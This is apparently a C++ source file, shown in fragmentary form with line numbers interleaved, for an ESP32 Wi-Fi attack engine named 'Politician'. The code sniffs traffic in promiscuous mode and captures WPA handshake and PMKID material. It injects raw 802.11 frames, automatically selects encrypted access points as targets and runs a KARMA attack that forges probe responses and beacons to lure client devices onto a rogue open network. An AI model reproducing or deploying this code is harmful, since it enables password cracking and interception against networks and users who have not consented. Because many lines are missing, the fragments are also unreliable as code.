13bool Politician::_wifiInitialized =
false;
16const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
17const uint8_t Politician::HOP_COUNT =
sizeof(HOP_SEQ) /
sizeof(HOP_SEQ[0]);
22 149, 153, 157, 161, 165
28 if (ch >= 1 && ch <= 14)
return true;
36 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144))
return true;
43 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
44 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
45 _m1Locked(false), _m1LockEndMs(0),
46 _probeLocked(false), _probeLockEndMs(0),
47 _customChannelCount(0),
48 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
49 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
50 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
51 _fishSsidLen(0), _fishChannel(1),
52 _fishAuthLogged(false), _fishAssocLogged(false),
53 _csaSecondBurstSent(false),
55 _hasTarget(false), _targetChannel(1),
58 memset(&_stats, 0,
sizeof(_stats));
59 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
60 memset(_injectQueue, 0,
sizeof(_injectQueue));
61 memset(_sessions, 0,
sizeof(_sessions));
62 memset(_apCache, 0,
sizeof(_apCache));
63 memset(_captured, 0,
sizeof(_captured));
64 memset(_targetBssid, 0,
sizeof(_targetBssid));
65 memset(_fishBssid, 0,
sizeof(_fishBssid));
66 memset(_fishSsid, 0,
sizeof(_fishSsid));
67 memset(_ownStaMac, 0,
sizeof(_ownStaMac));
68 memset(_ignoreList, 0,
sizeof(_ignoreList));
69 memset(_ssidOverrides, 0,
sizeof(_ssidOverrides));
71 memset(_eapMethods, 0,
sizeof(_eapMethods));
72#ifndef POLITICIAN_NO_MSCHAPV2
73 memset(_msChapSessions, 0,
sizeof(_msChapSessions));
75#ifndef POLITICIAN_NO_KARMA
76 memset(_karmaSeen, 0,
sizeof(_karmaSeen));
77 _karmaEnabled =
false;
83void Politician::_log(
const char *fmt, ...) {
84#ifndef POLITICIAN_NO_LOGGING
88 vsnprintf(buf,
sizeof(buf), fmt, args);
104 bool registered =
false;
106 if (_instances[i] ==
this) { registered =
true;
break; }
110 if (_instances[i] ==
nullptr) {
111 _instances[i] =
this;
124 _log(
"[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n",
129 _log(
"[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.
fish_timeout_ms);
133 _log(
"[Config] WARNING: csa_wait_ms (%u) < 1000ms; clamping to 1000ms\n", _cfg.
csa_wait_ms);
136#ifndef POLITICIAN_NO_KARMA
141 if (!_wifiInitialized) {
142 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
143 if (esp_wifi_init(&wifi_cfg) != ESP_OK)
return ERR_WIFI_INIT;
144 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK)
return ERR_WIFI_INIT;
146 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK)
return ERR_WIFI_INIT;
149 esp_log_level_set(
"wifi", ESP_LOG_NONE);
151 wifi_promiscuous_filter_t filt = {
152 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
154 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK)
return ERR_WIFI_INIT;
155 if (esp_wifi_set_promiscuous(
true) != ESP_OK)
return ERR_WIFI_INIT;
156 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK)
return ERR_WIFI_INIT;
158 _wifiInitialized =
true;
161 wifi_config_t ap_cfg = {};
163 size_t ap_ssid_len = strlen(ap_ssid);
164 if (ap_ssid_len > 32) ap_ssid_len = 32;
165 memcpy(ap_cfg.ap.ssid, ap_ssid, ap_ssid_len);
166 ap_cfg.ap.ssid_len = (uint8_t)ap_ssid_len;
168 ap_cfg.ap.max_connection = 4;
169 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
170 ap_cfg.ap.channel = 1;
171 ap_cfg.ap.beacon_interval = 1000;
172 esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
174 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
175 _log(
"[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
176 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
177 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
179 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK)
return ERR_WIFI_INIT;
183 _lock = xSemaphoreCreateRecursiveMutex();
189 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
194 xTaskCreatePinnedToCore(_workerTask,
"pol_worker", 4096,
this, 5, &_task, 0);
199 _log(
"[WiFi] Ready — monitor mode ch%d\n", _channel);
205 if (!_initialized)
return;
206 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
208 xSemaphoreGiveRecursive(_lock);
210 _log(
"[WiFi] Capture %s\n", active ?
"ACTIVE" :
"IDLE");
217 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
219 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
220 xSemaphoreGiveRecursive(_lock);
226 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
228 xSemaphoreGiveRecursive(_lock);
234 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
235 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
236 for (uint8_t i = 0; i < _ignoreCount; i++) {
237 memcpy(_ignoreList[i], bssids[i], 6);
239 xSemaphoreGiveRecursive(_lock);
241 _log(
"[WiFi] Ignore list updated: %d BSSIDs\n", count);
245 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
247 xSemaphoreGiveRecursive(_lock);
249 _log(
"[WiFi] Captured list cleared\n");
253 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
254 _markCaptured(bssid);
255 xSemaphoreGiveRecursive(_lock);
260 if (!_initialized)
return;
261 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
266 _channelTrafficSeen =
false;
268 xSemaphoreGiveRecursive(_lock);
274 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
276 xSemaphoreGiveRecursive(_lock);
281 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
282 if (_fishState != FISH_IDLE) {
283 esp_wifi_disconnect();
284 _fishState = FISH_IDLE;
289 _autoTargetActive =
false;
291 _probeLocked =
false;
293 xSemaphoreGiveRecursive(_lock);
297 if (_instances[i] ==
this) {
298 _instances[i] =
nullptr;
302 _initialized =
false;
303 _log(
"[WiFi] Engine stopped\n");
308 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
310 xSemaphoreGiveRecursive(_lock);
312 _log(
"[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
317 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
318 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
319 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
320 _attackOverrides[i].mask = mask;
321 xSemaphoreGiveRecursive(_lock);
325 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
326 if (!_attackOverrides[i].active) {
327 _attackOverrides[i].active =
true;
328 memcpy(_attackOverrides[i].bssid, bssid, 6);
329 _attackOverrides[i].mask = mask;
330 xSemaphoreGiveRecursive(_lock);
334 xSemaphoreGiveRecursive(_lock);
336 _log(
"[Attack] Override table full — ignoring per-BSSID mask request\n");
341 uint8_t slen = (uint8_t)strnlen(ssid, 32);
342 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
343 for (
int i = 0; i < MAX_SSID_OVERRIDES; i++) {
344 if (_ssidOverrides[i].active && _ssidOverrides[i].ssid_len == slen &&
345 memcmp(_ssidOverrides[i].ssid, ssid, slen) == 0) {
346 _ssidOverrides[i].mask = mask;
347 _ssidOverrides[i].substring = substring;
348 xSemaphoreGiveRecursive(_lock);
352 for (
int i = 0; i < MAX_SSID_OVERRIDES; i++) {
353 if (!_ssidOverrides[i].active) {
354 _ssidOverrides[i].active =
true;
355 memcpy(_ssidOverrides[i].ssid, ssid, slen);
356 _ssidOverrides[i].ssid[slen] =
'\0';
357 _ssidOverrides[i].ssid_len = slen;
358 _ssidOverrides[i].mask = mask;
359 _ssidOverrides[i].substring = substring;
360 xSemaphoreGiveRecursive(_lock);
365 uint8_t evict = _ssidOverrideIdx % MAX_SSID_OVERRIDES;
366 _ssidOverrideIdx = (evict + 1) % MAX_SSID_OVERRIDES;
367 _ssidOverrides[evict].active =
true;
368 memcpy(_ssidOverrides[evict].ssid, ssid, slen);
369 _ssidOverrides[evict].ssid[slen] =
'\0';
370 _ssidOverrides[evict].ssid_len = slen;
371 _ssidOverrides[evict].mask = mask;
372 _ssidOverrides[evict].substring = substring;
373 xSemaphoreGiveRecursive(_lock);
378 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
379 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
380 memset(_ssidOverrides, 0,
sizeof(_ssidOverrides));
381 _ssidOverrideIdx = 0;
382 xSemaphoreGiveRecursive(_lock);
386uint8_t Politician::_getAttackMask(
const uint8_t *bssid)
const {
387 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
388 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
389 return _attackOverrides[i].mask;
392 char ap_ssid[33] = {};
393 uint8_t ap_ssid_len = 0;
394 _lookupSsid(bssid, ap_ssid, ap_ssid_len);
395 if (ap_ssid_len > 0) {
396 for (
int i = 0; i < MAX_SSID_OVERRIDES; i++) {
397 if (!_ssidOverrides[i].active)
continue;
399 if (_ssidOverrides[i].substring) {
400 match = strstr(ap_ssid, _ssidOverrides[i].ssid) !=
nullptr;
402 match = (ap_ssid_len == _ssidOverrides[i].ssid_len &&
403 memcmp(ap_ssid, _ssidOverrides[i].ssid, ap_ssid_len) == 0);
405 if (match)
return _ssidOverrides[i].mask;
414 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
416 if (_isCaptured(bssid)) {
417 xSemaphoreGiveRecursive(_lock);
421 memcpy(_targetBssid, bssid, 6);
422 _targetChannel = channel;
425 for (
int i = 0; i < MAX_AP_CACHE; i++) {
426 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
427 _apCache[i].last_probe_ms = 0;
434 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
436 _rxChannel = channel;
437 _log(
"[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
438 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
440 xSemaphoreGiveRecursive(_lock);
445 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
447 memset(_targetBssid, 0, 6);
448 xSemaphoreGiveRecursive(_lock);
450 _log(
"[WiFi] Target cleared — wardriving mode\n");
457 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
459 if (!wait_for_channel) {
461 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
463 _rxChannel = channel;
465 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)payload, len,
false);
466 _log(
"[Inject] Transmitted %d bytes on ch%d\n", (
int)len, channel);
470 _m1LockEndMs =
millis() + lock_ms;
475 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
476 if (!_injectQueue[i].active) {
477 _injectQueue[i].active =
true;
478 _injectQueue[i].channel = channel;
479 _injectQueue[i].len = len;
480 _injectQueue[i].lock_ms = lock_ms;
481 memcpy(_injectQueue[i].payload, payload, len);
483 _log(
"[Inject] Queued %d bytes for ch%d\n", (
int)len, channel);
488 xSemaphoreGiveRecursive(_lock);
493 xSemaphoreGiveRecursive(_lock);
498 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
499 if (count == 0 || channels ==
nullptr) {
500 _customChannelCount = 0;
502 xSemaphoreGiveRecursive(_lock);
503 _log(
"[WiFi] Channel list cleared — hopping all channels\n");
506 _customChannelCount = 0;
509 _customChannels[_customChannelCount++] = channels[i];
513 xSemaphoreGiveRecursive(_lock);
515 _log(
"[WiFi] Channel list set: %d channels\n", _customChannelCount);
519 if (!out || count == 0)
return 0;
523 for (uint16_t i = 1; i < 200; i++) {
530 for (uint8_t i = 1; i < n; i++) {
532 uint32_t kn = cnts[i];
533 int16_t j = (int16_t)i - 1;
534 while (j >= 0 && cnts[j] < kn) {
536 cnts[j + 1] = cnts[j];
542 uint8_t written = (n < count) ? n : count;
543 for (uint8_t i = 0; i < written; i++) out[i] = chs[i];
556 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
557 _customChannelCount = 0;
560 _customChannels[_customChannelCount++] = HOP_SEQ[i];
569 xSemaphoreGiveRecursive(_lock);
571 if (_customChannelCount == 0) {
572 _log(
"[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
574 _log(
"[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
575 _customChannelCount, (
int)ghz24, (
int)ghz5);
581 uint8_t ssid_len = (uint8_t)strlen(ssid);
582 uint8_t found_bssid[6] = {};
583 uint8_t found_channel = 0;
585 int8_t best_rssi = INT8_MIN;
586 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
587 for (
int i = 0; i < MAX_AP_CACHE; i++) {
588 if (!_apCache[i].flags.active)
continue;
589 if (_apCache[i].ssid_len != ssid_len)
continue;
590 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
591 if (_apCache[i].rssi > best_rssi) {
592 best_rssi = _apCache[i].rssi;
594 memcpy(found_bssid, _apCache[i].bssid, 6);
595 found_channel = _apCache[i].channel;
599 xSemaphoreGiveRecursive(_lock);
602 return setTarget(found_bssid, found_channel);
606 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
607 _autoTarget = enable;
610 memset(_targetBssid, 0, 6);
611 _autoTargetActive =
false;
613 xSemaphoreGiveRecursive(_lock);
615 _log(
"[AutoTarget] %s\n", enable ?
"enabled" :
"disabled");
618void Politician::_recordClientForAp(
const uint8_t *bssid,
const uint8_t *sta, int8_t rssi) {
619 for (
int i = 0; i < MAX_AP_CACHE; i++) {
620 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
621 _apCache[i].flags.has_active_clients =
true;
622 for (
int j = 0; j < _apCache[i].known_sta_count; j++)
623 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0)
return;
624 if (_apCache[i].known_sta_count < 4) {
625 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
626 if (_clientFoundCb) {
628 memset(&rec, 0,
sizeof(rec));
629 memcpy(rec.
bssid, bssid, 6);
630 memcpy(rec.
sta, sta, 6);
634 rec.
rand_mac = (sta[0] & 0x02) != 0;
635#ifndef POLITICIAN_NO_DB
637 if (vendor) strncpy(rec.
vendor, vendor,
sizeof(rec.
vendor) - 1);
646void Politician::_sendProbeRequest(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len) {
647 uint8_t frame[68];
int p = 0;
648 frame[p++] = 0x40; frame[p++] = 0x00;
649 frame[p++] = 0x00; frame[p++] = 0x00;
650 memcpy(frame + p, bssid, 6); p += 6;
651 memcpy(frame + p, _ownStaMac, 6); p += 6;
652 memcpy(frame + p, bssid, 6); p += 6;
653 frame[p++] = 0x00; frame[p++] = 0x00;
655 if (ssid && ssid_len > 0) {
656 if (ssid_len > 32) ssid_len = 32;
657 frame[p++] = ssid_len;
658 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
662 frame[p++] = 0x01; frame[p++] = 0x08;
663 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
664 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
665 esp_wifi_80211_tx(WIFI_IF_STA, frame, p,
false);
666 if (ssid && ssid_len > 0)
667 _log(
"[Probe] Wordlist probe '%.*s' -> %02X:%02X:%02X:%02X:%02X:%02X\n",
668 ssid_len, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
670 _log(
"[Probe] Wildcard probe -> %02X:%02X:%02X:%02X:%02X:%02X\n",
671 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
675#ifndef POLITICIAN_NO_KARMA
676void Politician::_sendKarmaResponse(
const uint8_t *client,
const char *ssid,
677 uint8_t ssid_len, uint8_t channel, int8_t rssi) {
678 if (ssid_len == 0 || ssid_len > 32)
return;
683 for (
int i = 0; i < MAX_KARMA_SEEN; i++) {
684 if (memcmp(_karmaSeen[i].client, client, 6) == 0 &&
685 strncmp(_karmaSeen[i].ssid, ssid, ssid_len) == 0 &&
686 _karmaSeen[i].ssid[ssid_len] ==
'\0') {
687 if (now - _karmaSeen[i].last_ms < 10000u)
return;
694 slot = _karmaSeenIdx % (uint8_t)MAX_KARMA_SEEN;
695 _karmaSeenIdx = (_karmaSeenIdx + 1) % MAX_KARMA_SEEN;
697 memcpy(_karmaSeen[slot].client, client, 6);
698 memcpy(_karmaSeen[slot].ssid, ssid, ssid_len);
699 _karmaSeen[slot].ssid[ssid_len] =
'\0';
700 _karmaSeen[slot].last_ms = now;
705 for (
int i = 0; i < MAX_AP_CACHE; i++) {
706 if (!_apCache[i].flags.active)
continue;
707 if (_apCache[i].ssid_len != ssid_len)
continue;
708 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
709 if (_apCache[i].enc >
ENC_OPEN)
return;
715 uint32_t rnd = esp_random();
716 ap_mac[0] = 0x02; ap_mac[1] = 0xCA; ap_mac[2] = 0xFE;
717 ap_mac[3] = (rnd >> 16) & 0xFF;
718 ap_mac[4] = (rnd >> 8) & 0xFF;
719 ap_mac[5] = rnd & 0xFF;
722 uint8_t frame[128];
int p = 0;
723 frame[p++] = 0x50; frame[p++] = 0x00;
724 frame[p++] = 0x00; frame[p++] = 0x00;
725 memcpy(frame + p, client, 6); p += 6;
726 memcpy(frame + p, ap_mac, 6); p += 6;
727 memcpy(frame + p, ap_mac, 6); p += 6;
728 frame[p++] = 0x00; frame[p++] = 0x00;
729 memset(frame + p, 0, 8); p += 8;
730 frame[p++] = 0x64; frame[p++] = 0x00;
731 frame[p++] = 0x21; frame[p++] = 0x04;
733 frame[p++] = 0x00; frame[p++] = ssid_len;
734 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
736 frame[p++] = 0x01; frame[p++] = 0x08;
737 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
738 frame[p++] = 0x0c; frame[p++] = 0x18; frame[p++] = 0x30; frame[p++] = 0x6c;
740 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel;
742 esp_wifi_80211_tx(WIFI_IF_STA, frame, p,
false);
745 frame[0] = 0x80; frame[1] = 0x00;
746 memset(frame + 4, 0xFF, 6);
747 esp_wifi_80211_tx(WIFI_IF_STA, frame, p,
false);
751 memset(&rec, 0,
sizeof(rec));
752 memcpy(rec.client, client, 6);
753 memcpy(rec.ssid, ssid, ssid_len);
754 rec.ssid_len = ssid_len;
755 rec.channel = channel;
757 memcpy(rec.ap_mac, ap_mac, 6);
761 _log(
"[KARMA] Echoed '%.*s' to %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
763 client[0], client[1], client[2], client[3], client[4], client[5], channel);
769 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE)
return;
773 uint32_t nowDiag =
millis();
774 if (nowDiag - _lastDiagMs >= 30000) {
775 _lastDiagMs = nowDiag;
776 _log(
"[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
777 (
unsigned long)_stats.
total, (
unsigned long)_stats.
mgmt,
778 (
unsigned long)_stats.
data, (
unsigned long)_stats.
eapol,
784 _probeLocked ?
"probe" : _m1Locked ?
"m1" :
"none");
790 uint32_t now_ap =
millis();
791 for (
int i = 0; i < MAX_AP_CACHE; i++) {
792 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.
ap_expiry_ms)
793 _apCache[i].flags.active =
false;
797 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
798 int best = -1;
int best_score = -9999;
799 for (
int i = 0; i < MAX_AP_CACHE; i++) {
800 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid))
continue;
802 if (_apCache[i].enc < 2)
continue;
806 int score = _apCache[i].rssi;
807 if (_targetScoreCb) {
809 memcpy(ap_rec.
bssid, _apCache[i].bssid, 6);
810 memcpy(ap_rec.
ssid, _apCache[i].ssid, 33);
811 ap_rec.
ssid_len = _apCache[i].ssid_len;
812 ap_rec.
enc = _apCache[i].enc;
813 ap_rec.
channel = _apCache[i].channel;
814 ap_rec.
rssi = _apCache[i].rssi;
815 ap_rec.
wps_enabled = _apCache[i].flags.wps_enabled;
816 ap_rec.
pmf_capable = _apCache[i].flags.pmf_capable;
820 ap_rec.
ft_capable = _apCache[i].flags.ft_capable;
823 memcpy(ap_rec.
country, _apCache[i].country, 3);
826 ap_rec.
is_hidden = _apCache[i].flags.is_hidden;
827 ap_rec.
sta_count = _apCache[i].sta_count;
828 ap_rec.
chan_util = _apCache[i].chan_util;
833 if (score > best_score) { best_score = score; best = i; }
836 _autoTargetActive =
true;
837 setTarget(_apCache[best].bssid, _apCache[best].channel);
838 _log(
"[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
839 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
840 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
841 _apCache[best].ssid, _apCache[best].rssi, best_score);
846 xSemaphoreGiveRecursive(_lock);
852 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
853 _probeLocked =
false;
857 if (_m1Locked && now >= _m1LockEndMs) {
862 bool locked = _m1Locked || _probeLocked || _hasTarget;
868 }
else if (_channelTrafficSeen) {
873 if (!locked && (now - _lastHopMs >= current_dwell)) {
874 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
875 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
876 _hopIndex = (_hopIndex + 1) % count;
877 _channel = seq[_hopIndex];
878 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
880 _channelTrafficSeen =
false;
883 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
884 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
885 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)_injectQueue[i].payload, _injectQueue[i].len,
false);
886 _log(
"[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
887 _injectQueue[i].active =
false;
888 if (_injectQueue[i].lock_ms > 0) {
890 _m1LockEndMs =
millis() + _injectQueue[i].lock_ms;
896 xSemaphoreGiveRecursive(_lock);
900void IRAM_ATTR Politician::_promiscuousCb(
void *buf, wifi_promiscuous_pkt_type_t type) {
901 const wifi_promiscuous_pkt_t *pkt = (
const wifi_promiscuous_pkt_t *)buf;
902 uint16_t total_len =
sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
906 if (!inst || !inst->_active || !inst->_rb)
continue;
907 if (xRingbufferSendFromISR(inst->_rb, buf, total_len, NULL) != pdTRUE) {
913void Politician::_workerTask(
void *pvParameters) {
917 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
920 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
921 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
922 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
923 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
925 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
928 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
929 uint32_t used_rb = 16384 - (uint32_t)free_rb;
930 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
932 self->_handleFrame(pkt, type);
933 xSemaphoreGiveRecursive(self->_lock);
935 vRingbufferReturnItem(self->_rb, (
void *)pkt);
940void Politician::_handleFrame(
const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
941 if (!_active)
return;
943 uint16_t sig_len = pkt->rx_ctrl.sig_len;
944 if (sig_len <
sizeof(ieee80211_hdr_t))
return;
947 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
948 _rxChannel = pkt->rx_ctrl.channel;
949 if (_rxChannel > 0 && _rxChannel < 200) _stats.
channel_frames[_rxChannel]++;
951 const ieee80211_hdr_t *hdr = (
const ieee80211_hdr_t *)pkt->payload;
952 uint16_t fc = hdr->frame_ctrl;
965 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
966 uint8_t subtype = fsub >> 4;
967 bool is_qos = (subtype >= 8 && subtype <= 11);
973 const uint8_t *llc = pkt->payload + hdr_len;
974 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
980 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
986 uint16_t payload_off =
sizeof(ieee80211_hdr_t);
987 if (sig_len > payload_off) {
988 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
990 }
else if (type == WIFI_PKT_DATA && ftype ==
FC_TYPE_DATA) {
993 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
994 bool is_qos = (subtype >= 8 && subtype <= 11);
999 if (sig_len > hdr_len) {
1000 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
1007void Politician::_handleMgmt(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
1008 uint16_t len, int8_t rssi) {
1012 if (_probeReqCb || _fpHook) {
1013 char fp_ssid[33] = {};
1014 uint8_t fp_ssid_len = 0;
1015 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
1017 ProbeRequestRecord rec;
1018 memset(&rec, 0,
sizeof(rec));
1019 memcpy(rec.client, hdr->addr2, 6);
1020 rec.channel = _rxChannel;
1022 rec.rand_mac = (rec.client[0] & 0x02) != 0;
1023 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
1024 rec.ssid_len = fp_ssid_len;
1027 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
1029#ifndef POLITICIAN_NO_KARMA
1030 if (_karmaEnabled) {
1031 char karma_ssid[33] = {};
1032 uint8_t karma_ssid_len = 0;
1033 _parseSsid(payload, len, karma_ssid, karma_ssid_len);
1036 if (karma_ssid_len > 0) {
1037 _sendKarmaResponse(hdr->addr2, karma_ssid, karma_ssid_len, _rxChannel, rssi);
1047 memset(&rec, 0,
sizeof(rec));
1048 memcpy(rec.src, hdr->addr2, 6);
1049 memcpy(rec.dst, hdr->addr1, 6);
1050 memcpy(rec.bssid, hdr->addr3, 6);
1051 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
1052 rec.subtype = subtype;
1053 rec.channel = _rxChannel;
1055 rec.rand_mac = (rec.src[0] & 0x02) != 0;
1066 _channelTrafficSeen =
true;
1067 if (len < 12)
return;
1069 const uint8_t *ie = payload + 12;
1070 uint16_t ie_len = (len > 12) ? len - 12 : 0;
1072 uint8_t beacon_ch = _rxChannel;
1075 while (pos + 2 <= ie_len) {
1076 uint8_t tag = ie[pos];
1077 uint8_t tlen = ie[pos + 1];
1078 if (pos + 2 + tlen > ie_len)
break;
1079 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2];
break; }
1085 memcpy(ap.bssid, hdr->addr3, 6);
1086 ap.channel = beacon_ch;
1088 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
1089 ap.enc = _classifyEnc(ie, ie_len);
1090 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1;
1093 ap.wps_enabled =
false;
1096 while (wp + 2 <= ie_len) {
1097 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
1098 if (wp + 2 + wlen > ie_len)
break;
